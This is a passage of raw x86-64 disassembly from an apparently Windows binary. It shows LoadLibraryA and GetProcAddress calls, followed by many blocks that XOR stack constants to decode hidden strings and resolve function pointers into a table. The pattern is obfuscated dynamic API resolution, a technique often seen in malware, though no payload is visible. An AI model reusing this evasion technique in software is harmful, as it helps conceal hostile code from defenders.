movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea rcx, [rbp + 0x3590]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
xor eax, eax
test rsi, rsi
je 0x14001a646
lea rdx, [rbp + 0x1b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001a646
sub rax, rsi
add rax, qword [rbp + 0x17b8]
mov qword [rdi + 0xe0], rax
movabs rax, 0x1961bd5cdafe4377
mov qword [rbp + 0x3590], rax
movabs rax, 0x7866aa08fd6c2185
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7704d430998a2630
mov qword [rbp + 0x35b0], rax
movabs rax, 0x7866aa7c9e0973f1
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rsp + 0x30]
mov rsi, qword [rbp + 0x1bf8]
mov rdx, rsi
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xe8], rax
movabs rax, 0xe6b95f744208e65
mov qword [rbp + 0x3590], rax
movabs rax, 0x7f724d8408d8c17e
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x613ffb922152ed36
mov qword [rbp + 0x35b0], rax
movabs rax, 0x7f7239ea6db1ad3d
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rsp + 0x30]
mov rdx, rsi
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xf0], rax
movabs rax, 0x114f6d8fafdd4c10
mov qword [rbp + 0x3590], rax
movabs rax, 0x7a0e9b4f6d24264e
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7e2b03e6f8a92957
mov qword [rbp + 0x35b0], rax
movabs rax, 0x7a0ecc3b15417239
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x70], xmm1
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rsp + 0x30]
mov rdx, rsi
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x108], rax
movabs rax, 0x41060644ded9ec8
mov qword [rbp + 0x3590], rax
movabs rcx, 0xb09d8c476312f7b
mov qword [rbp + 0x3598], rcx
movabs rax, 0x410160d0981eb85
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x110], rax
movabs rax, 0x179396234d28f53f
mov qword [rbp + 0x3590], rax
movabs rax, 0x415fcbab280b0684
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x47fff756395a9c69
mov qword [rbp + 0x35b0], rax
movabs rax, 0x415fbfc84d7f69f6
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x70], xmm1
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x118], rax
movabs rax, 0x1dfaf875a520dcb9
mov qword [rbp + 0x3590], rax
movabs rax, 0x7ee5db1164302d61
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x75ae9d01c445aefa
mov qword [rbp + 0x35b0], rax
movabs rax, 0x7ee5db1100514813
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x70], xmm1
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x120], rax
movabs rax, 0xc9f5745aba515a1
mov qword [rsp + 0x30], rax
movabs rax, 0x152f210317f4c6f9
mov qword [rsp + 0x38], rax
movabs rsi, 0x1fffffffe0000000
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe000000020007ca5
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6dfa252dffd170e6
mov qword [rsp + 0x70], rax
movabs rax, 0x61574477799b859d
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x80], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x90], xmm3
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001acd0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x128], rax
movabs rax, 0xe158fce6c6568e8
mov qword [rsp + 0x30], rax
movabs rax, 0xbfaffb9f4c5958b
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe000000020007add
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6f70fda638110dbb
mov qword [rsp + 0x70], rax
movabs rax, 0x7f829acd9aaad6ef
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x80], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x90], xmm3
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001adf0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x130], rax
movabs rax, 0x1ea43d471c555de5
mov qword [rbp + 0x3590], rax
movabs rax, 0x7ed3c1efdd69bf66
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x76f0582a692638b7
mov qword [rbp + 0x35b0], rax
movabs rax, 0x7ed3c1efb908da14
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x138], rax
movabs rax, 0x19b41fca76bfc965
mov qword [rsp + 0x30], rax
movabs rax, 0x99ce97c93860e93
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe0000000200079f5
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6dd571a31bcdac31
mov qword [rsp + 0x70], rax
movabs rax, 0x7aef8c1ffcf45ef6
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x80], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x90], xmm5
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001b010
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x140], rax
movabs rax, 0x13bee911bb1ab1d0
mov qword [rbp + 0x3590], rax
movabs rax, 0x75182cbaeba2c0e3
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7ddfa174c875dd93
mov qword [rbp + 0x35b0], rax
movabs rax, 0x75182cbaebc7ac87
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x148], rax
movabs rax, 0x476f2f79dcb05
mov qword [rbp + 0x3590], rax
movabs rcx, 0x1c22737a23e6f1f5
mov qword [rbp + 0x3598], rcx
movabs rax, 0x4768292f8a756
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x35c0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x35d0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x35e0], xmm0
lea r8, [rbp + 0x3590]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x150], rax
movabs rax, 0xc699ff2e4a9b4a7
mov qword [rsp + 0x30], rax
movabs rax, 0x5628c2d2b5e3c031
mov qword [rsp + 0x38], rax
movabs rax, 0x61ef4f094e1de21
mov qword [rsp + 0x40], rax
movabs rcx, 0x64f900f3b5566256
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x633dfa8685ccc6e4
mov qword [rsp + 0x70], rax
movabs rax, 0x641bb2bed08bac5e
mov qword [rsp + 0x78], rax
movabs rax, 0x72719c83e480b072
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001b2f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x5f0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x158], rax
movabs rax, 0x1c8bf8d2ae7b96e4
mov qword [rbp + 0x3590], rax
movabs rax, 0x3d4411ea03a3afda
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x2ff88bb7cd14e4b4
mov qword [rbp + 0x35b0], rax
movabs rax, 0x3d13659971cae9e8
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001b3e0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x160], rax
movabs rax, 0x48bf4453f2fb88a
mov qword [rbp + 0x3590], rax
movabs rax, 0x39509cb959b9274b
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x37f887205c40cada
mov qword [rbp + 0x35b0], rax
movabs rax, 0x3950cbcd21dc6979
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x168], rax
movabs rax, 0xff639a261a4dd1b
mov qword [rsp + 0x30], rax
movabs rax, 0x67b57075fbcf4a
mov qword [rsp + 0x38], rax
movabs rax, 0x52bc91203ac47fd
mov qword [rsp + 0x40], rax
movabs rcx, 0x81c586a61446102
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e934bca35d0b85c
mov qword [rsp + 0x70], rax
movabs rax, 0x6626c5051a89882e
mov qword [rsp + 0x78], rax
movabs rax, 0x52bb0666ac22e9b
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
